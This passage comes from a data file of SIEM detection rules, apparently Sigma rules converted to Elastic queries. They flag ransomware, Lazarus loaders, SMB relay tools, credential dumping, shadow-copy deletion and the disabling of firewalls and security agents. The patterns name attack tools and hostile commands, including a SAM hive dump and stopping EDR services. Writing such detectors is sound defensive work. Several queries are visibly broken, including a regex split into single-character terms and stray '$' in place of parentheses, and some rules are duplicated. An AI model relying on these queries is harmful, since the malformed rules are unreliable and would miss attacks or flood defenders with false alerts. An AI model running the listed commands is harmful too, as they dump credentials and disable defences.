"event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", "author": ["Bhabesh Raj", "Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bb5ed04c-df25-56cb-3192-6b78c4ca8619", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Fortinet CVE-2021-22123 Exploitation", "query": "(((cs-uri-query:*\\/api\\/v2.0\\/user\\/remoteserver.saml* AND http.request.method:\"POST\") AND (NOT (cs-referer:*\\/root\\/user\\/remote\\-user\\/saml\\-user\\/*))) AND (NOT (NOT _exists_:cs-referer)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bb5ed04c-df25-56cb-3192-6b78c4ca8619", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Fortinet CVE-2021-22123 Exploitation", "query": "(((url.original:*\\/api\\/v2.0\\/user\\/remoteserver.saml* AND http.request.method:\"POST\") AND (NOT (cs-referer:*\\/root\\/user\\/remote\\-user\\/saml\\-user\\/*))) AND (NOT (NOT _exists_:cs-referer)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj", "Florian Roth"], "license": ""}
{"description": "Detects DarkSide Ransomware and helpers", "enabled": false, "false_positives": ["Unknown", "UAC bypass method used by other malware"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e708c7da-49c4-321d-4ec4-7e6d0fc4ff11", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DarkSide Ransomware Pattern", "query": "(process.command_line:(*\\=\\[char\\]\\[byte\\]\\('0x'\\+* OR *\\ \\-work\\ worker0\\ \\-path\\ *) OR (process.parent.command_line:*DllHost.exe\\ \\/Processid\\:\\{3E5FC7F9\\-9A51\\-4367\\-9063\\-A120244FBEC7\\}* AND process.executable:*\\\\AppData\\\\Local\\\\Temp\\\\*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects DCShadow via create new SPN", "enabled": false, "false_positives": ["Valid on domain controllers; exclude known DCs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "73257d0f-b4c3-9591-6424-54ee5e6af45e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Possible DC Shadow Attack", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4742\" AND winlog.event_data.ServicePrincipalNames:*GC\\/*) OR (winlog.event_id:\"5136\" AND winlog.event_data.AttributeLDAPDisplayName:\"servicePrincipalName\" AND winlog.event_data.AttributeValue:GC\\/*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1207"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community", "Chakib Gzenayi (@Chak092)", "Hosni Mribah"], "license": ""}
{"description": "Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.", "author": ["SecurityAura"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b39356ea-0161-2bce-aa1c-44bd702c3c82", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Remote Credential Dumping Activity", "query": "(process.executable.text:*\\\\svchost.exe AND (file.path.text:/\\/ OR file.path.text:/\\/ OR file.path.text:/W/ OR file.path.text:/i/ OR file.path.text:/n/ OR file.path.text:/d/ OR file.path.text:/o/ OR file.path.text:/w/ OR file.path.text:/s/ OR file.path.text:/\\/ OR file.path.text:/\\/ OR file.path.text:/S/ OR file.path.text:/y/ OR file.path.text:/s/ OR file.path.text:/t/ OR file.path.text:/e/ OR file.path.text:/m/ OR file.path.text:/3/ OR file.path.text:/2/ OR file.path.text:/\\/ OR file.path.text:/\\/ OR file.path.text:/[/ OR file.path.text:/a/ OR file.path.text:/-/ OR file.path.text:/z/ OR file.path.text:/A/ OR file.path.text:/-/ OR file.path.text:/Z/ OR file.path.text:/0/ OR file.path.text:/-/ OR file.path.text:/9/ OR file.path.text:/]/ OR file.path.text:/{/ OR file.path.text:/8/ OR file.path.text:/}/ OR file.path.text:/\\/ OR file.path.text:/./ OR file.path.text:/t/ OR file.path.text:/m/ OR file.path.text:/p/ OR file.path.text:/$/))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7e57b919-d5f6-5d22-a9d8-a34ae45f7ce9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Install Commands", "query": "(process.executable:*\\/sudo AND process.command_line:*\\ tc\\ * AND process.command_line:*\\ enp0s3\\ * AND process.command_line:(*\\ qdisc\\ * OR *\\ filter\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1014"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1014", "name": "Rootkit", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", "author": ["Kirill Kiryanov", "Beyu Denis", "Daniil Yugoslavskiy", "oscd.community"], "enabled": false, "false_positives": ["Legitimate use of odbcconf.exe by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "69e83d32-3cb8-8362-61ad-e13000fafbd6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe", "query": "(((((process.executable.text:*\\\\odbcconf.exe) OR (winlog.event_data.OriginalFileName:\"odbcconf.exe\")) AND process.command_line.text:(*\\-a* OR *\\-f* OR *\\/a* OR *\\/f* OR *regsvr*))) OR ((process.parent.executable.text:*\\\\odbcconf.exe AND process.executable.text:*\\\\rundll32.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects deletion of local audit logs", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "948b0b9d-051e-ef35-fc73-b70acd0ddd54", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Indicator Removal on Host - Clear Mac System Logs", "query": "(process.executable.text:(*\\/rm OR *\\/unlink OR *\\/shred) AND (process.command_line.text:*\\/var\\/log* OR (process.command_line.text:*\\/Users\\/* AND process.command_line.text:*\\/Library\\/Logs\\/*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["remotephone", "oscd.community"], "license": ""}
{"description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0fc530f0-2e49-d69d-2c05-e188f4176376", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Deletion of Volume Shadow Copies via WMI with PowerShell", "query": "(process.command_line.text:(*Get\\-WmiObject* OR *gwmi* OR *Get\\-CimInstance* OR *gcim*) AND process.command_line.text:*Win32_Shadowcopy* AND process.command_line.text:(*.Delete\$\$* OR *Remove\\-WmiObject* OR *rwmi* OR *Remove\\-CimInstance* OR *rcim*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "602a822b-c345-283c-f8aa-a25167e369a6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execute Arbitrary Commands Using MSDT.EXE", "query": "((process.executable:*\\\\msdt.exe OR winlog.event_data.OriginalFileName:\"msdt.exe\") AND (process.command_line:*\\/cab* AND process.command_line:*.diagcab*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["GossiTheDog (rule)", "frack113 (sigma version)"], "license": ""}
{"description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Legitimate files with these rare hacktool names"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "79898aff-6a2c-c184-2319-d8f0ecdf4614", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SMB Relay Attack Tools", "query": "(((process.executable.text:(*PetitPotam* OR *RottenPotato* OR *HotPotato* OR *JuicyPotato* OR *\\\\just_dce_* OR *Juicy\\ Potato* OR *\\\\temp\\\\rot.exe* OR *\\\\Potato.exe* OR *\\\\SpoolSample.exe* OR *\\\\Responder.exe* OR *\\\\smbrelayx* OR *\\\\ntlmrelayx* OR *\\\\LocalPotato*)) OR (process.command_line.text:(*Invoke\\-Tater* OR *\\ smbrelay* OR *\\ ntlmrelay* OR *cme\\ smb\\ * OR *\\ \\/ntlm\\:NTLMhash\\ * OR *Invoke\\-PetitPotam* OR *.exe\\ \\-t\\ \\*\\ \\-p\\ *)) OR ((process.command_line.text:*.exe\\ \\-c\\ \\\"\\{* AND process.command_line.text:*\\}\\\"\\ \\-z))) AND (NOT process.executable.text:(*HotPotatoes6* OR *HotPotatoes7* OR *HotPotatoes\\ *)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1557"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects different loaders as described in various threat reports on Lazarus group activity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0c94e9a6-4d4a-476c-a827-7afdbd14d9da", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Lazarus Loaders", "query": "((process.command_line:*cmd.exe\\ \\/c\\ * AND process.command_line:*\\ \\-p\\ 0x* AND process.command_line:(*C\\:\\\\ProgramData\\\\* OR *C\\:\\\\RECYCLER\\\\*)) OR (process.command_line:*rundll32.exe\\ * AND process.command_line:*C\\:\\\\ProgramData\\\\* AND process.command_line:(*.bin,* OR *.tmp,* OR *.dat,* OR *.io,* OR *.ini,* OR *.db,*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "wagga"], "license": ""}
{"description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "b20f0491-d0ac-6574-73ed-756748f999c3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CobaltStrike Malformed UAs in Malleable Profiles", "query": "(user_agent.original:(\"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;Windows\\ NT\\ 5.1\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/4.0;\\ SLCC2;\\ .NET\\ CLR\\ 3.0.30729;\\ .NET4.0C;\\ .NET4.0E\\ \$\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 5.2\$\\ Java\\/1.5.0_08\") OR user_agent.original:*;\\ MANM;\\ MANM\\))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", "enabled": false, "false_positives": ["Should not be any false positives"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1742b73-b427-2161-f145-7c0ecf553041", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Lazarus Activity", "query": "((process.command_line.text:*mshta* AND process.command_line.text:*.zip*) OR (process.parent.executable.text:\"C\\:\\\\Windows\\\\System32\\\\wbem\\\\wmiprvse.exe\" AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\mshta.exe\") OR (process.parent.executable.text:*\\:\\\\Users\\\\Public\\\\* AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\rundll32.exe\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects different process creation events as described in various threat reports on Lazarus group activity", "enabled": false, "false_positives": ["Overlap with legitimate process activity in some cases (especially selection 3 and 4)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1742b73-b427-2161-f145-7c0ecf553041", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Lazarus Activity", "query": "(process.command_line.text:(*reg.exe\\ save\\ hklm\\\\sam\\ %temp%\\\\\\~reg_sam.save* OR *1q2w3e4r@#$@#$@#$* OR *\\ \\-hp1q2w3e4\\ * OR *.dat\\ data03\\ 10000\\ \\-p\\ *) OR (process.command_line.text:*process\\ call\\ create* AND process.command_line.text:*\\ >\\ %temp%\\\\\\~*) OR (process.command_line.text:*netstat\\ \\-aon\\ |\\ find\\ * AND process.command_line.text:*\\ >\\ %temp%\\\\\\~*) OR process.command_line.text:*.255\\ 10\\ C\\:\\\\ProgramData\\\\*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", "enabled": false, "false_positives": ["User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "79729454-3f1c-ea8a-1080-18f41bec0224", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Raw Paste Service Access", "query": "url.original:(*.paste.ee\\/r\\/* OR *.pastebin.com\\/raw\\/* OR *.hastebin.com\\/raw\\/* OR *.ghostbin.co\\/paste\\/*\\/raw\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071", "T1102", "T1102"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6dccfd71-8587-430d-9dd3-cd28c7abf347", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Direct Autorun Keys Modification", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:*add* AND process.command_line.text:(*\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Shell* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User\\ Shell\\ Folders* OR *\\\\system\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\AlternateShell*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4f0ade0a-5973-b610-52b6-40cfd77159f8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable System Firewall", "query": "(type:\"SERVICE_STOP\" AND unit:(\"firewalld\" OR \"iptables\" OR \"ufw\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects disabling security tools", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "58285096-36fb-6404-9d05-e76f382103bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Security Tools", "query": "((process.executable:\"\\/bin\\/launchctl\" AND process.command_line:*unload* AND process.command_line:(*com.objective\\-see.lulu.plist* OR *com.objective\\-see.blockblock.plist* OR *com.google.santad.plist* OR *com.carbonblack.defense.daemon.plist* OR *com.carbonblack.daemon.plist* OR *at.obdev.littlesnitchd.plist* OR *com.tenablesecurity.nessusagent.plist* OR *com.opendns.osx.RoamingClientConfigUpdater.plist* OR *com.crowdstrike.falcond.plist* OR *com.crowdstrike.userdaemon.plist* OR *osquery* OR *filebeat* OR *auditbeat* OR *packetbeat* OR *td\\-agent*)) OR (process.executable:\"\\/usr\\/sbin\\/spctl\" AND process.command_line:*disable*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects disabling security tools", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "052a9ab5-eda9-42fe-7bd8-06e811138b1f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disabling Security Tools", "query": "(*stopping\\ iptables* OR *stopping\\ ip6tables* OR *stopping\\ firewalld* OR *stopping\\ cbdaemon* OR *stopping\\ falcon\\-sensor*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects disabling security tools", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "052a9ab5-eda9-42fe-7bd8-06e811138b1f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disabling Security Tools", "query": "((process.executable.text:*\\/service AND process.command_line.text:*iptables* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/service AND process.command_line.text:*ip6tables* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/chkconfig AND process.command_line.text:*iptables* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/chkconfig AND process.command_line.text:*ip6tables* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*firewalld* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*firewalld* AND process.command_line.text:*disable*) OR (process.executable.text:*\\/service AND process.command_line.text:*cbdaemon* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/chkconfig AND process.command_line.text:*cbdaemon* AND process.command_line.text:*off*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*cbdaemon* AND process.command_line.text:*stop*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*cbdaemon* AND process.command_line.text:*disable*) OR (process.executable.text:*\\/setenforce AND process.command_line.text:*0*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*stop* AND process.command_line.text:*falcon\\-sensor*) OR (process.executable.text:*\\/systemctl AND process.command_line.text:*disable* AND process.command_line.text:*falcon\\-sensor*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", "enabled": false, "false_positives": ["Legitimate disabling of crashdumps"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a416d91c-a435-d8ad-b4c0-1d4de5487fad", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CrashControl CrashDump Disabled", "query": "(winlog.event_data.TargetObject:*SYSTEM\\\\CurrentControlSet\\\\Control\\\\CrashControl* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1112", "T1564"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects disabling Windows Defender Exploit Guard Network Protection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b05be5ea-5ef4-11e9-e3c5-5e1847b30936", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Exploit Guard Network Protection on Windows Defender", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\ Security\\ Center\\\\App\\ and\\ Browser\\ protection\\\\DisallowExploitProtectionOverride* AND winlog.event_data.Details:\"DWORD\\ \$00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects disabling Windows Defender PUA protection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a69b6f5a-e936-cb7f-9f4f-187cbe818226", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable PUA Protection on Windows Defender", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\PUAProtection* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects disabling Windows Defender Real-Time Protection by modifying registry", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "de50411f-d705-2c13-596f-530b63c2011f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Real-Time Protection Disabled", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableBehaviorMonitoring\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableIOAVProtection\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableOnAccessProtection\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableRealtimeMonitoring\" OR 